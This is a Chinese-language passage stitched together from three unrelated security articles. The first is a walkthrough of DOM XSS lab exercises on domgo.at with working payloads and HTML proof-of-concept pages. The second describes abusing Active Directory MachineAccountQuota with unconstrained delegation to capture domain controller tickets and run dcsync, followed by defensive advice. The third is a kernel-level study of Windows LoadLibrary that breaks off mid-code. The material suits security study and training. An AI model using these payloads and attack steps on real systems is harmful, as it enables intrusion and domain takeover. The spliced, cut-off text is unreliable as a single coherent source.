1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

14.png

2、数据由wss://domgo.at/ws上的Websocket端点反射出来

3、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

15.png

4、我们可以准确地看到响应在接收器中使用的内容并创建了一个漏洞。

16.png

5、要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

17.png

练习5

XHR,fetch API,websockets或postMessage等通信信道经常被忽视,但最终可能会成为DOM XSS漏洞的源。特别是,如果数据来自不同的源。在响应中信任数据并通过接收器呈现/评估它可能导致DOM XSS问题,作为分析师,你必须留意这些源。

本练习涉及一个postMessage,它将用户控制的有效载荷发送到window.onmessage事件处理程序,并将数据下沉到HTMLElement.innerHTML,执行任意代码。

1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

18.png

2、在这种情况下,数据源是来自https://domgo.at(同源)的窗口消息。

3、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

19.png

4、我们可以准确地看到响应在接收器中使用的内容并创建了一个漏洞。

20.png

5、要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

21.png

练习6

另一个有趣的不受信任的数据来源是浏览器的存储源,包括localStorage,sessionStorage和IndexedDB。虽然攻击者无法直接控制DOM存储(除非应用程序中已存在XSS),但攻击者可能能够通过其他HTML元素或JS源将恶意数据引入存储源。此数据最终可能会从存储源的接收器中生成,并导致DOM XSS。

一个很好的例子就是Twitter子域上的DOM XSS  – https://hackerone.com/reports/297968

在本练习中,数据源是HTML LocalStorage。页面中的JS从localStorage读取数据并将其传送到HTMLElement.innerHTML,从而执行任意代码。

1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

22.png

2、在这种情况下,数据源是HTML localStorage。

3、在代码窗口下使用Sboxr查看从源到接收器的数据流

23.png

4、我们可以准确地看到响应在接收器中使用的内容并创建了一个漏洞。

24.png

5. 要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

25.png

练习7

在本练习中,数据源是location.hash。但是,数据在添加到接收器HTMLElement.innerHTML之前进行处理。

1、单击练习7并注意URL中的哈希值。

2、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

26.png

3、我们可以确切地看到location.hash数据是如何北处理的,并从那里构建了一个漏洞。

4、从location.hash获取值,并将HTML标记替换为其HTML实体等价物(<替换为&lt; 以及> 替换为&gt;)。然后将数据附加到<a href ='#user =并创建锚了标签。

27.png

5、最后,数据被发送到接收器以写入页面,实际上是使用了我们的(假定的)构造的数据创建了锚标签。

28.png

6、这是数据反射的HTML属性值上下文的一个很好的例子。你可以

7、要利用这个漏洞,我们需要注入HTML属性值的上下文并关闭悬空的单引号。可以使用对锚标签有效的HTML事件(例如onmouseover或onclick等)触发JS。

8、利用漏洞的URL 是https://domgo.at/cxss/example/7#abcd'%20onmouseover=alert(document.domain)%20a='

29.png

练习8

这个练习与练习7完全相同,唯一的区别是JS期望location.hash包含一个名称值的字符串键值对(任何包含=字符的字符串)。

1、如果我们通过Sboxr查看JS,我们注意到通过location.hash传递的字符串在第一个=处被拆分,而字符串的其余部分用于构造转到接收器的数据(锚标签,如上一个练习)

30.png

2、在这种情况下的漏洞利用URL是https://domgo.at/cxss/example/8#anyrandomstring=hawkeye'%20onmouseover=alert(document.domain)%20a='

31.png

练习9

本练习使用两个源location.hash和window.name处理来自这些源的数据,然后将其发送到HTMLElement.innerHTML 接收器。

1、单击练习9并注意包含哈希值user=12345的URL

2、在这种情况下有两个来源。最终发送到接收器HTMLElement.innerHTML的数据是从两个源获得的。

32.png

3、查看代码执行细节,很明显,来自location.hash的数据在=符号处被分割,然后只选择前10个字符并将其附加到window.name中的数据。此外,在被附加到window.name中的数据之前,通过使用等效的HTML实体来清理出现的双引号。

33.png

4. 为此写一个漏洞EXP就意味着

· 通过location.hash传递10个字符但不能出现双引号(我们显然不能使用元素属性注入,因为我们无法突破href属性)

· 通过window.name传递JS的其余部分,并让易受攻击的JS将它们都附加到一起,最后就产生出我们想要的漏洞EXP

· 我们不能突破href属性,因为我们已经在href中,我们可以使用javascript:protocol handler来点击锚标签来触发我们的代码

· 本质上,我们是利用了javascript:alert(document.domain)作为我们的PoC。

5. 创建包含以下代码的HTML页面,将其托管在本地服务器上并在浏览器中打开它。

<html>
    <body onload=exploit()>
        <h2>PoC for Exercise 9 of https://domgo.at</h2>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/9#a=javascript", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

6.大多数现代浏览器可能会使用内置的弹出窗口阻止程序启动阻止新窗口,但你必须允许这样做。如果你想摆脱弹出警告,你可以修改HTML PoC以触发用户驱动事件(如鼠标点击等)上的window.open。

<html>
    <body>
        <h2>PoC for Exercise 9 of https://domgo.at</h2>
        <label onclick="exploit()">Click me for solution to Exercise 9</label>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/9#a=javascript", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

7. 一旦你启动新窗口后,单击Welcome消息就会执行我们的有效载荷。

34.png

练习10

这与练习9类似,但JavaScript除外,其中的代码路径是基于条件分支执行的。使用手动测试很容易遗漏这一点,因为仅当满足JS中的某些代码条件时,接收器才会填充我们的恶意数据。

在本练习中,我们通过两个来源location.href和window.name传入数据,在满足分支条件和一些简单的处理之后就可以将其传递到HTMLElement.innerHTML 接收器。

客户端JS中可能存在条件分支代码,这可能会使创建有效的漏洞EXP变得有点困难。此练习显示了如何检测条件分支并传递正确的字符串,以便可以访问接收器并执行攻击者的代码。

1、如果我们查看来自源的数据流,我们会看到来自location.href和window.name的数据被附加在一起。

35.png

2、可以使用window.open()使用我们的数据设置window.name中的数据。在本地服务器上托管以下内容并在浏览器中打开它。在浏览器提示时启用浏览器的弹出窗口。

<html>
    <body onload=exploit()>
        <h2>PoC for Exercise 10 of https://domgo.at</h2>
        <script>
            function exploit() {
                var win = window.open("https://domgo.at/cxss/example/10?lang=en&user=ID-12345&returnurl=/", ":alert(document.domain)", "");
            }
        </script>
    </body>
</html>

3、在代码执行详情窗口中,我们看到来自location.href属性的数据在ID-之后被拆分,剩下的字符串被处理为双引号并附加到了window.name的值里面。

36.png

4、我们可以查看源进行检查条件分支。在这个例子中不是很明显,因为我们在URL中的用户参数已经以ID-开头,但情况可能并非总是如此。单击目标符号会显示JS的源代码,如果用户参数以ID-开头,很明显会到达接收器。

37.png

5、根据我们现在的情况,我们的漏洞利用只需通过导航到https://domgo.at/cxss/example/10?lang=en&user=ID-javascript&returnurl=/,在同一个窗口中生成 HTML代码,然后单击welcome href锚标签即可成功利用漏洞。

38.png

结论

Sboxr是一个非常强大的工具,可以与其他Web应用程序攻击工具(如Burp和ZAP)结合使用,尤其是在使用富JavaScript的应用程序时。源和接收器之间的数据流以及准确显示数据传输和修改方式的能力使得此工具在你的工具库中非常有用。

使用该工具,我们完成了10个练习的解决方案。对于尝试学习客户端XSS的挖掘和利用的人,建议使用本文所描述的这些东西。

参考文献:

1、Sboxr — https://sboxr.com

2、客户端XSS漏洞  –  https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#DOM_Based_XSS_.28AKA_Type-0.29

3、命令行开关 – https://dev.chromium.org/developers/how-tos/run-chromium-with-flags

4、XMLHttpRequest(XHR)MDN  – https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest

5、window.postMessage()MDN  –  https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

6、https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API

7、https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API

8、https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API

9、HTML 实体字符- https://dev.w3.org/html5/html-author/charref

MachineAccountQuotaMAQ)是一个域级别的属性,默认情况下允许非特权用户将最多10台计算机连接到Active DirectoryAD)域。我第一次接触MAQ是在我作为网络管理员的时候。当时我被分配了一个将远程主机加入AD的任务。在添加了十台计算机后,当我再次尝试添加新机器时弹出了下面的错误消息:

 

搜索错误消息后,我发现了ms-DS-MachineAccountQuota这个页面。网页显示的细节信息与我提供的无特权AD访问是一致的。我联系了一位管理员并解释了情况。他不熟悉如何增加我帐户的配额。相反,他为我提供了一个域管理员帐户来继续完成我的工作。

Powermad

2017年末,我发布了Powermad,它是一个衍生自LDAP域加入数据包捕获的PowerShell函数集合的工具。在挖掘数据包之后,我确定了创建机器帐户对象的单一加密LDAP添加操作。以下是未加密状态下LDAP添加操作的示例:

 

开发Powermad时我的主要动机是在渗透测试过程中更容易地使用MAQ。在过去,我曾见过渗透测试人员通过将完整的Windows操作系统附加到域来利用MAQ。我希望能够只添加一个已知密码的机器帐户(也称为计算机帐户),而不是仅以这种方式使用MAQ

 

那么MachineAccountQuota到底有用吗?

自从我第一次开始研究Powermad以来,我已经学到了很多关于MAQ的知识,而不仅仅是默认的只能添加10个主机的限制。最近,我从Elad ShamirHarmj0yDirk-jan一些精彩博客文章中学到了更多东西,其中一些文章也提到了MAQ

总的来说,我得出的结论是MachineAccountQuota非常有用……

当然,只是有时候。

在这篇博文中,我将作为攻击者通过10条规则来处理MAQ。我仅仅以向AD中添加计算机帐户而不是附加完整的Windows系统的角度编写了这些规则。稍后,我将一些规则应用于MAQ + Kerberos的无约束委托用例。最后,我将解决针对MAQ相关漏洞的攻击方法。

规则是什么?

我把我对MAQ的了解分解为10条规则。希望你可以使用这些规则来确定MAQ在任何特定情况下是否有用。

1、MAQ允许非特权用户将机器帐户对象添加到域。默认情况下,非特权用户可以创建10个计算机帐户。

你无需执行任何特殊操作即可调用MAQ。你只需尝试使用尚未直接授予域加入权限的帐户添加计算机帐户。

创建者帐户的SID存储在ms-DS-CreatorSID属性中。仅当创建者不是管理员或未被授予添加计算机帐户的权限时,AD才会填充此属性。

AD还使用ms-DS-CreatorSID来计算针对MAQ的当前计数。从渗透测试角度来看,请记住该属性指向了创建者帐户,即使嵌套的MAQ用法也是如此。因此,使用通过MAQ创建的计算机帐户不能完全屏蔽创建者帐户。

如果防御人员意识到了ms-DS-CreatorSID属性,那么他们很可能已经禁用了MAQ

通过MAQ创建的计算机帐户将放入域计算机组。在Domain Computers组被授予额外权限的情况下,要重点注意此权限还可以通过MAQ扩展到非特权用户。例如,你可能会在本地Administrators组中找到列出的域计算机。

甚至在域管理员组内找到。

作为此规则的略微扩展,请注意根据计算机帐户名称的部分自动将计算机放置在OU和组中。你可以通过MAQ利用这个自动化过程。

创建者帐户被授予对某些计算机帐户对象属性的写访问权。通常,这包括以下属性:

· 帐户已禁用

· 描述

· 显示名称

· DNSHOSTNAME

· ServicePrincipalName

· userParameters

· userAccountControl

· msDS-AdditionalDnsHostName

· msDS-AllowedToActOnBehalfOfOtherIdentity

· samAccountName

· 你可以根据需要修改这些属性。

但是,某些属性的允许值仍需要验证。

计算机帐户本身具有对其某些属性的写访问权。该列表包含msDS-SupportedEncryptionTypes属性,该属性可能会对协商过程的Kerberos加密方法产生影响。现代Windows操作系统版本将在加入域的过程中将此属性设置为28 

添加计算机帐户时,会严格验证属性。基本上,属性值需要完全匹配。如果它们不匹配,则会添加失败,例如下面是一个samAccountName的不正确示例。
 
奇怪的是,在添加计算机帐户后,一些验证规则会变的宽松。

samAccountName可以改变为已经存在于一个域的任何不匹配的samAccountName。更改此属性有助于将渗透活动与合法流量混合,例如通过剥离“$”字符或匹配正在使用的帐户命名约定。有趣的是,samAccountName甚至可以在允许模仿任何现有域帐户的空间中结束。

以下是伪造的管理员帐户在实际操作中的显示方式。

请注意,更改samAccountName不会更改实际的计算机帐户对象名称。因此,你可以使用与命名约定混合的计算机帐户对象,同时还具有完全不同的samAccountName

添加计算机帐户会创建4SPN。该列表包括以下内容:

· HOST / MachineAccountName

· HOST / MachineAccountName.domain.name

· RestrictedKrbHost / MachineAccountName

· RestrictedKrbhost / MachineAccountName.domain.name

例如,以下是'test.inveigh.net'计算机帐户的默认SPN列表。

添加计算机帐户后,可以使用任何通过验证的SPN附加或替换列表。 如果修改samAccountNameDnsHostnamemsDS-AdditionalDnsHostName属性,SPN列表将自动使用新值进行更新。默认的SPN确实涵盖了很多用例。因此,你并不总是需要修改列表。如果需要有关SPN的更多信息,Sean Metcalf AdSecurity提供了非常完整的列表,其中包含有关HostRestrictedKrbHost的详细信息。

计算机帐户没有本地登录的权限。但是,通过直接运行或通过使用了“runas / netlonly”命令接受凭证的工具,机器帐户就可以在命令行中正常工作。任务可以包括枚举添加DNS记录,或者几乎任何适用于用户帐户的非GUI操作。 

通过MAQ添加的计算机帐户无法由非特权创建者帐户删除。要在使用MAQ后彻底清除AD,你需要提升域权限或将任务传递给你的客户端。但是,你可以使用非特权创建者帐户禁用该帐户。 

MachineAccountQuota的实际应用

让我们采用上述规则并将其应用于已经拿到权限并且具有SeEnableDelegationPrivilegeAD帐户。如规则4中所述,即使帐户具有对属性的写访问权限,写入尝试仍然需要进行验证。

 

但是,如果你碰巧使用了正确的权限(例如SeEnableDelegationPrivilege拿到某个帐户,事情会变得有趣。

 

在这种情况下,我们可以使用'INVEIGH \ kevin'帐户以及MAQ来创建和配置能够执行Kerberos无约束委派的计算机帐户对象。这可以非常方便的消除寻找现有合适的AD对象以利用SeEnableDelegationPrivilege的要求。基本上,我们可以通过MAQ来做到这一点。

请注意,这是其中一种情况,如果可以的话,只需使用你自己的Windows系统加入域就可以使事情变得更加容易。如果你确实采用了这种方法,那么你只需在计算机帐户对象上启用无约束委派,并像在被入侵的系统上一样利用它。另外,当我们只使用机器帐户时,该过程仍然非常易于管理。

Kerberos无约束委派设置

对于这种情况,我们假设我们在随机的一台Windows域系统上具有非特权访问权限,并且还拿到了一个具有SeEnableDelegationPrivilege权限的帐户。

以下是设置攻击的步骤:

1、使用SeEnableDelegationPrivilege帐户通过MAQ添加计算机帐户。 

2、通过将userAccountControl属性设置为528384来启用无约束委派。 

3、(可选)设置msDS-SupportedEncryptionTypes属性以使用计算机帐户的凭据设置所需的Kerberos加密类型。 

4、(可选)添加与SPN相匹配和对应的DNS记录,并指向拿到的Windows系统。这通常可以通过动态更新或LDAP来完成。这个操作是可选的,因为使用默认SPNKerberos还可以从其他名称解析方法(如LLMNR / NBNS)触发。 

Kerberos无约束委派攻击

有了上述内容,我们接下来需要弄清楚如何获取到已经拿到的主机所需的帐户流量。对于第一步,我们将使用tifkin的打印机错误来获取域控制器计算机帐户以通过SMB连接到我们的系统。此外,我们将使用Inveighdev Branch版本。通过数据包嗅探,此版本可以获取SMB Kerberos TGT流量并尝试输出kirbi文件,以便与MimikatzRubeus等工具一起使用。

对于Inveigh,我们需要使用无约束委派帐户的AES256哈希或带有Kerberos saltPSCredential对象作为用户名。下面显示的是使用PowermadGet-KerberosAESKey函数生成正确的AES256哈希的过程。

 

注意,Inveigh目前仅支持AES256 Kerberos解密。

由于我们想要使用我们的无约束委托机帐户的SPN,我们需要让目标连接到正确的主机名。在这个例子中,我将使用Dirk-jan 最近发布的Krbrelayx工具包中的printerbug脚本。

 

到这一步时,让我们退后一步,重新审视这些SPN。首先,我们在拿到的系统上以SYSTEM权限运行了SMB服务器。这意味着SMB服务器将使用系统的计算机帐户凭据解密Kerberos票证。如果我们故意让SPN不匹配并尝试使用在不同SPN下加密的数据执行Kerberos身份验证,则SMB身份验证将失败。但是,SMB服务器在客户端发送AP-REQ 之后才会拒绝认证尝试。

 

更重要的是,对于这种情况,SMB服务器将在收到TGT后拒绝连接。因此,如果我们可以通过数据包嗅探获取Kerberos流量,我们可以使用我们拥有的机器帐户凭据解密所需的数据。

 

请注意,使用SPN不匹配技巧可能会触发来自客户端的多次Kerberos身份验证尝试。我将Inveigh设置为默认情况下每个用户仅输出2kirbi文件。Inveigh会将其余的存储在内存中,以便通过Get-Inveigh进行访问。

现在我们有域控制器的kirbi TGT,我们可以将它传递给Mimikatz并尝试执行dcsync

 

在另一个演示中,我使用Inveigh来捕获SMB上的域管理员的TGT

 

接下来,我使用Rubeus处理kirbi文件。

 

作为最后一个例子,下面是Inveigh通过HTTP捕获TGT

 

在理想情况下,HTTP可以不需要对受感染系统的本地管理员进行访问。

最后,上面的Kerberos无约束委托技术也适用于新的krbrelayx工具包。

关于SeEnableDelegationPrivilege + MAQ我想说的最后一句话是,由于缺少对msDS-AllowedToDelegateTo的写访问权限,因此完全设置标准的约束委派通常是不可行的。

防御MachineAccountQuota

我相信MAQ只是人们缺乏足够的安全意识的默认设置之一。我猜测公司很少真正需要默认的MAQ设置,甚至根本不需要它。要禁用MAQ,只需将计数设置为0。如果确实需要允许非特权用户添加主机到域中,那么更好的方法是将权限委派给特定组。请注意,此博客文章中列出的大部分内容也适用于具有委派域加入权限的受感染帐户。

防守者还可以留意两件事:

· 已填充的ms-DS-CreatorSID属性

· 未更改密码的计算机帐户

结论

与大多数事情一样,MachineAccountQuota的使用情况也是有情境性的。对于测试人员来说,这对你的渗透技巧来说是值得考虑的。最近由Elad Shamir等研究人员发布的技术使这一点变得更加明显。对于防御者,我建议只禁用MachineAccountQuota即可。

在本文中,我们将讨论Windows系统中最重要的(如果不是最重要的,那么也是最众所周知的)一个 API——LoadLibrary。进行这项研究的动机是来自几周前我正在研究的一个项目,我正在编写一个DLL的反射加载器而我无法使其正常工作(最后发现它和reloc的一些东西有关 ),所以,我认为找到我的错误的最好的方法是搞清楚Windows处理加载库的过程。

免责声明!

我将重点关注调用LoadLibrary时执行的内核代码。用户层的所有内容我都会进行阐述。另一方面,我不会进入内核中的每个调用/指令,你要明白,内核里有很多很多的代码。我将重点关注我认为最重要的函数和结构。

LoadLibrary!

为了便于研究,我将使用下面这个代码段作为开始:

int WinMain(...) {
    HMODULE hHandle = LoadLibraryW(L"kerberos.dll");
    return 0;
}

我使用了Unicode函数,因为内核只适用于这些类型的字符串,并且这为我做研究节省了一些时间😁。

LoadLibraryW执行时发生的第一件事是执行被重定向到了KernelBase.dll这个DLL中(这与Windows自Windows 7以来所采用的新MinWin内核有关。点击这里查看更多信息),在KernelBase内部将被调用的第一个函数是RtlInitUnicodeStringEx,用来获取UNICODE_STRING(这是一个结构体而不是字符串!!),这个是我们传递给LoadLibrary的参数。接下来,我们进入函数LdrLoadDLL( Ldr前缀 == Loader)中,其中参数r9是一个out参数,它将具有加载模块的句柄。之后,我们进入LdrpLoadDll这个函数的私有版本,这两个函数是用户层代码将被执行的地方。经过一些完整性检查并跳进更多的函数后,我们终于看到了第一次内核代码的跳转。要执行的内核函数是NtOpenSection。在这里我们可以在进入内核之前看到调用堆栈。

alt img

NtOpenSection

我们需要知道的第一件事是“Section”代表了什么,翻翻Windows驱动程序文档中的内存管理章节,会发现有一个名为 “Section Objects and Views” 的部分,其中可以读取“Section Object”代表的可以共享的内存区域,并且该对象提供了一个进程,该进程可以将文件映射到其内存地址空间的机制(这段话几乎全部引用自上述文档)。

请记住,Windows内核可以认为几乎完全使用了C语言编写而成,它有点面向对象的性质(它不是100%的面向对象,虽然严格遵循了继承原则),这就是为什么我们通常要在内核中讨论对象。我们现在要说的是“Section Object” 。

因此,在了解了section的定义后,就完全可以理解为什么在加载库时NtOpenSection是第一个被调用的内核函数。

让我们继续进一步研究一下,首先让我们看看这个函数接收到的参数。正如你所看到的,它有3个参数(由于我在x64上进行研究,所以在__fastcall调用约定后,前4个参数进入了寄存器)

· rcx – > PHANDLE指针,用于接收Object的句柄

· rdx – > ACCESS_MASK请求访问Object

· r8 – > POBJECT_ATTRIBUTES指向DLL的OBJECT_ATTRIBUTES的指针

这3个参数可以在下图中看到:

alt img

ACCESS_MASK是以下值的组合,可以在winnt.h头中获取到。

#define SECTION_QUERY                0x0001
#define SECTION_MAP_WRITE            0x0002
#define SECTION_MAP_READ             0x0004
#define SECTION_MAP_EXECUTE          0x0008

这个函数所做的第一件事,就像所有其他的Executive Kernel函数一样,都会先获取PreviousMode,然后再做另一个检查,这种情况在内核函数中也很常见,该函数会检查PHANDLE的值是否超过了MmUserProbeAddress,如果第二次检查出错,将弹出错误998(“无效的访问内存位置”)。

前些日子@benhawkes从Project Zero中透露了一个Windows内核漏洞,这个漏洞与PreviousMode检查有关,请务必阅读他的文章(https://googleprojectzero.blogspot.com /2019/03/windows-kernel-logic-bug-class-access.html)。

如果两个检查都通过了,代码将进入“ObOpenObjectByName”函数,该函数将接收存储在 rdx 参数中的类型为Section 的对象,该对象可以从MmSectionObjectType的地址中检索到。

alt img

从现在开始,我们就进入了“真正的”内核代码😆😆,首先要检查我们是否在rcx参数中接收到了OBJECT_ATTRIBUTES并在参数rdx中接收到了OBJECT_TYPE ,如果一切顺利,内核将从LookAside List 8获得一个Pool(KTHREAD-> PPLookAsideList [8] .P),我不会深入研究LookAside列表的内容,但我们可以将它们视为某种缓存,(你可以在这里阅读到更多有关内容)。接下来将调用函数ObpCaptureObjectCreateInformation,经过一些完整性检查后,代码将存储一个OBJECT_CREATE_INFORMATION结构体,该结构体中包含了来自之前接收到的Pool中的OBJECT_ATTRIBUTES数据。如果对象属性中包含有ObjectName(UNICODE_STRING),则该名称将被复制到r9参数指向的地址中,不过稍加修改后,MaximumLength可以被更改为 F8h。

alt img

从该函数返回后,就进入到了结构体中非常有趣的部分!🤣🤣。首先我们从这里获得一个指向KTHREAD(gs:188h)的指针。然后我们又获得了一个指向KPROCESS的指针(KTHREAD + 98h- > ApcState + 20h- > Process),如你所知,KPROCESS是EPROCESS的第一个元素(有点像内核中的PEB进程)。所以基本上,如果你得到了一个指向KPROCESS的指针,那么同时你也就得到了一个指向EPROCESS的指针

alt img

通过这样的方式,内核获取到了UniqueProcessId(EPROCESS + 2E0h),这些代码也会获得指向GenericMapping成员的指针,这些成员在OBJ_TYPE_INITIALIZER结构体内部的偏移量是0xc,它位于偏移量40h中的OBJECT_TYPE结构体内。在此之后,系统将调用函数SepCreateAccessStateFromSubjectContext,该函数的名称暗示了我们在调用完此函数后我们可以接收到一个ACCESS_STATE对象(作为rdx参数传递了该对象的指针),此函数属于“Security Reference Monitor”组件。该组件主要提供检查访问的功能和权限,你可以通过前缀Se识别这些函数。

下一步,可能是此过程中最重要的一步,那就是执行函数ObpLookupObjectName。这个函数名称再次提供了关于功能方法的一些信息,在这里,代码将根据名称查找对象(在本例中为DLL的名称)。通过查看函数的Graph,我们可以看出它是一个非常重要的函数🤣。

ObpLookupObjectName Graph

理解这些函数的一个非常有价值的方面是知道函数期望接收哪些参数,WDK上没有记录很多内核函数,所以我们有两个方法,第一个是逆向内核并尝试理解哪个参数将被传递给函数。第二个方法更快一些,就是在Google上搜索函数,你可能会搜索到ReactOS,这是一个Super Awesome项目(有点像开源的Windows),并且这个项目有很多函数几乎完全匹配于Windows内核,这是理解Windows内核的一个好方法,所以一定要了解一下这个项目!要了解该函数的参数,请查看下图:

Params ObpLookupObjectName

在这个函数中,首先是初始化结构体OBP_LOOKUP_CONTEXT,接下来我们通过调用ObReferenceObjectByHandle获得了对“KnownDlls”目录对象的引用,该对象包含了已经加载到内存中的Section Objects列表,并且列表中的每一项均对应于“KnownDlls”注册表项中的每一个DLL。

剧透:正如你在用户层调用堆栈中看到的那样,NtOpenSection之前的函数叫作LdrpFindKnownDll,这意味着如果我们尝试加载的DLL不在“KnownDlls”列表中,我们将得到一个错误。

alt img

接下来,代码将使用DLL的名称计算一个哈希,它将检查此哈希是否与“KnownDlls”中的某个哈希相匹配,如果没有匹配到则函数将返回错误“c0000034:对象名称未找到。” 从这里开始,后面的工作流程主要是在返回到用户层之前清理掉所有内容。

alt img

另一个剧透:在本系列文章的第2部分中,我们将看到用户层在收到错误“c0000034”时会作何反应。快速预览相关内容,我们会发现系统将搜索DLL并调用函数NtOpenFile。

KnownDll

现在让我们假设我们正在寻找的DLL已经存在于KnownDlls列表中,为此,'因为我懒得再次编译代码,我们将“kerberos.dll”添加到此列表中。我们可以在以下注册表中找到这个列表:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\KnownDLLs

注意!我们需要提升权限来执行此操作,在我的演示中,我只是将自己设置为该注册表键的所有者并添加了DLL。

在下图中,你可以看到Kerberos DLL是如何作为KnownDlls的一部分而被加载(没有仔细检查太多细节,但我相信名称必须是大写的,因为哈希是使用DLL的大写名称计算的,但是像“kernel32.dll”这样的情况却是小写的,所以我要对此进行更多的细致调查)。

alt img

快进一下,我们可以看到ObpLookupObjectName函数如何这次返回了0而不是“c0000034”来作为NTSTATUS

alt img

对于这种情况,我们将直接从函数ObpLookupObjectName开始,特别是从计算哈希开始(对于这两种情况,代码流都是相同的)。这次我们将通过查看以下伪代码来分析哈希的计算方法:

注意!此函数未在文档中记录,因此很可能实现细节会从某个版本的Windows更改为另一个版本,甚至从某个SP更改为下一个版本。特别是我正在研究的内核版本:Windows 8.1 Kernel Version 9600 MP (2 procs) Free x64

// Credit to Hex-Ray xD
QWORD res = 0;
DWORD hash = 0;
DWORD size = Dll.Length >> 1;
PWSTR dll_buffer = unicode_string_dll.Buffer;
if (size > 4) {
    do {
        QWORD acc = dll_buffer;
        if (!(Dll_Buffer & ff80ff80ff80ff80h))
            acc = (QWORD *) Dll_Buffer & ffdfffdfffdfffdfh;
        }
        /* This code is really executed in the else statement, the if
        statement is a while that goes element by element substracting 
        20h from every element between 61h and 7Ah, of course that's 
        much slower than this */
        size -= 4;
        dll_buffer += 4;
        res = acc + (res >> 1) + 3 * res;
    } while (size >= 4)
    hash = (DWORD) res + (res >> 20h)
    /* If size is not a multiple of 4 the last iteration
    would be done using the while explained before */
}
obpLookupCtx.HashValue = hash;
obpLookupCtx.HashIndex = hash % 25;

如果你使用DLL名称“kerberos.dll”执行此操作,你将获得20h对应于十进制值32的HashIndex ,如果你仔细查看了我在解释“kerberos.dll”是如何作为KnownDlls的一部分而被加载并检查哈希时贴的图,那么你可以看到散列值为32。接下来,该函数检查写入OBP_LOOKUP_CONTEXT结构体的计算哈希是否与该section的哈希相匹配。

alt img

如果第一次检查通过,则代码会使用公式。

ObjectHeader - ObpInfoMaskToOffset - ObpInfoMaskToOffset[InfoMask & 3]

获取OBJECT_HEADER_NAME_INFO,并且再次将我们作为参数传递给LoadLibrary函数的名称与求和后的对象的名称做检查。如果这次也通过了检查,那么OBP_LOOKUP_CONTEX的成员对象和EntryLink将被填充。经过几次检查后,这个结构体将被复制到out参数指针中,之后我们将从这个函数返回。这个函数有两个out参数,返回时第一个将有指向对象的指针,第二个将有指向填充OBP_LOOKUP_CONTEX结构体的指针。

alt img

如果检查函数接收的参数(特指此处)当结构体OBP_LOOKUP_CONTEX存储在rsp+48h时,FoundObject将存储在rsp+48h中。另外看看对象为何没有打开任何句柄,这个原因将发生在我们今天要学习的最后一个函数ObpCreateHandle中,这个函数会从对象获取句柄的过程中被调用。

这个函数也有很多代码,因为代码太长了,所以我不会在本文中详细介绍(也许在其他文章中我可以详细介绍,因为它是一个非常有趣的函数)

ObpCreateHandle所接收的最重要的参数是rcx,它将从OB_OPEN_REASON枚举中接收下面五个中的某个值:

ObCreateHandle      =   0
ObOpenHandle        =   1
ObDuplicateHandle   =   2
ObInheritHandle     =   3
ObMaxOpenReason     =   4

然后在rdx中函数期望引用对象(DLL Section Object),并在r9参数中函数接收到ACCESS_STATE结构体,以及ACCESS_MASK等其他有趣的东西。

知道了这一点,并且我们已知 OB_OPEN_REASON 枚举的值将是ObOpenHandle,因此,我们可以继续深入研究。该函数将做的第一件事是检查我们试图获取的处理程序是否用于内核对象(换句话说,我们正在尝试获取内核句柄)。如果不是这种情况,那么函数将检索KTHREAD->ApcState->Process->(EPROCESS) ObjectTable对应于HANDLE_TABLE结构体的ObjectTable,在经过一些检查之后,系统将调用函数ExAcquireResourceSharedLite来获取PrimaryToken的资源(我在这里谈论的资源是ERESOURCES结构体的某种互斥体,你可以在这里阅读更多有关资源的信息

如果已获取到资源,则将调用函数SeAccessCheck,这些函数会检查是否可以授予对特定对象的请求访问权限。如果授予了这些权限,我们就进入到了函数ObpIncrementHandleCountEx中,它负责从我们试图获取句柄的Section Section对象和一般Section对象类型计数中递增Handle计数。(这个函数只增加计数器,但这并不意味着句柄是打开的。这可以通过运行!object [object]来检查,你会注意到HandleCount已经递增,但是运行!handle检查进程的句柄你将看不到对这个句柄的任何引用)。

最后,句柄将被打开。为了节省时间,我将展示完成这个过程的伪代码,我将在伪代码中添加一些注释便于你的理解。(再次感谢由Hex-Rays提供的伪代码🤣)

// I'm goint to simplify, there will be no check nor casts
HANDLE_TABLE * HandleTable = {};
HANDLE_TABLE_ENTRY * NewHandle = {};
HANDLE_TABLE_FREE_LIST * HandlesFreeList = {};
// Get reference to the Object and his attributes (rsp+28h), to get
// the object we use the Object Header (OBJECT_HEADER) which is 
// obtained from the Object-30h (OBJECT_HEADER+30h->Body) 
QWORD LowValue = 
    (((DWORD) Attributes & 7 << 11) | (Dll_object - 30h << 10) | 1)
// Get the type, Object-18h (OBJECT_HEADER+18h->TypeIndex)
HIDWORD(HighValue) = Dll_Object - 18h
// Get the requested access 
LODWORD(HighValue) = ptrAccessState.PrevGrantedAccess & 0xFDFFFFFF;
// Get the HANDLE_TABLE from the process
HandleTable = KeGetCurrentThread()->ApcState.Process->ObjectTable;
// Calculate index based on Processor number 
indexTable = Pcrb.Number % nt!ExpUuidSequenceNumberValid+0x1;
// Get the List of Free Handles
HandlesFreeList = HandleTable->FreeLists[indexTable];
if(HandlesFreeList) {
    Lock(HandlesFreeList); // This is more complex than this
    // Get the First Free Handle
    NewHandle = HandlesFreeList->FirstFreeHandleEntry;
    if (NewHandle) {
        // Make the Free handles list point to the next free handle
        tmp = NewHandle->NextFreeHandleEntry;
        HandlesFreeList->FirstFreeHandleEntry = tmp;
        // Increment Handle count
        ++HandlesFreeList->HandleCount;
    }
    UnLock(HandlesFreeList);
}
if (NewHandle) {
